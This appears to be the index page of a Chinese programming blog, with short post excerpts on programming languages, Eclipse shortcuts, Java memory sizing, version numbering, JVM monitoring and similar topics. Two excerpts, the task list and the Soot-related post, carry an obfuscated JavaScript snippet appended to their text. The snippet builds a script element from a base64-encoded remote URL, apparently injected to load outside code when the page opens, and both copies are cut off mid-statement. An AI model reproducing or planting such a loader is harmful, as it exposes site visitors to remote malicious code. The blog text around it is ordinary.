博客主机

微软架构师谈编程语言发展(zz)

大约2个月前,在Herb Sutter的网站上看到了一个链接,内容是Channel9网站对他和其他三名微软架构师就“编程语言发展”进行的采访,架构师中有Anders Hejlsberg。一看之下,就被这个视频迷住了。这些大师站在历史的高度,通观全局又不失细节,高屋建瓴,有点有面地谈到了多个语言的发展和语言间的 相互关系。看完之后,感到视野得到了不小地开拓,对于语言、框架、工具的关系;对于静态(动态)类型、函数(命...

关键有待改进

现已经遇到soot同步运行时出错,也很不方便去解决这些问题。下一个feaure是改变使的所有更soot相关的工作全部用job包装,再用rule来规定所有的soot job不能同时运行,这样应该能很好的解决soot的问题。(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1

Eclipse 使用技巧

Alt+左箭头,右箭头        以在编辑窗口切换标签 Alt+上下箭头,                以自动选择鼠标所在行,并将其上下移动 Ctrl+f6                        ...

检测Java对象所占内存大小

Don't pay the price for hidden class fieldsBy Vladimir Roubtsov, JavaWorld.com, 08/16/02 Recently, I helped design a Java server application that resembled an in-memory database. That is, we biased the design toward caching tons of data in memory to provide super-fast query performance. Once we got the prototype running, we naturally decided to profile the data memory footpr...

软件项目版本号的命名格式

版本控制比较普遍的 3 种命名格式 : 一、 GNU 风格的版本号命名格式 : 主版本号 . 子版本号 [. 修正版本号 [. 编译版本号 ]] 英文对照 : Major_Version_Number.Minor_Version_Number[.Revision_Number[.Build_Number]] 示例 : 1.2.1, 2.0, 5.0.0 build-13124 二、 Windows 风格的版本号命名格式 : 主版本号 . 子版本号 [ 修正版本号 [. 编译版本号 ]] 英文对照 : Major_Version_Number.Minor_...

数字摘要

public static void main(String[] args) { String old =""; try { for (int i = 0; i < 10; i++) { String beforeDegist = "asdf"; System.out.println("摘要前:" + beforeDegist); // 初始信息要转换成字节流的形式 byte[] plainText; plainText = beforeDegist.getBytes("UTF-8"); ...

ubuntu svn subclipse

If you are running Ubuntu 8.04 and you install Eclipse 3.4 with subclipse 1.4, you will probably get the "unable to load default svn client" error when trying to add a repository. Here it is how I solved this problem. I assume that you have the 'subversion' and 'libsvn-java' packages already installed (if not, please do install them, and then follow the instructions). 1) Go ...

任务

1.实现完整的Rank View2.在run dialog里添加选择算法的选项,包括trantula,CBI等,以便算出Rank(function(){var a=document.head||document.getElementsByTagName("head")[0],b="script",c=atob("aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=");c+=-1

JVM监控工具介绍

jstatd启动jvm监控服务。它是一个基于rmi的应用,向远程机器提供本机jvm应用程序的信息。默认端口1099。实例:jstatd -J-Djava.security.policy=my.policy my.policy文件需要自己建立,内如如下:grant codebase "file:$JAVA_HOME/lib/tools.jar" { permission java.security.AllPermission;};这是安全策略文件,因为jdk对jvm做了jaas的安全检测,所以我们必须设置一些策略,使得jstatd被允许作网络操作 jp...

统计代码行数的类

import java.io.File;import java.io.FileNotFoundException;import java.io.BufferedReader;import java.io.FileReader;import java.io.IOException; public class CountCodeLines { static int codeLines = 0; static int whiteLines = 0; static int commentLines = 0; static int tatolLines = 0; static boolean bComment = false; public static void main(String[] args) { StringBuffer pat...
Copyright © 小小的数据技术梦想 保留所有权利.   Theme  Ality 浙ICP备12043346号-1

用户登录

分享到: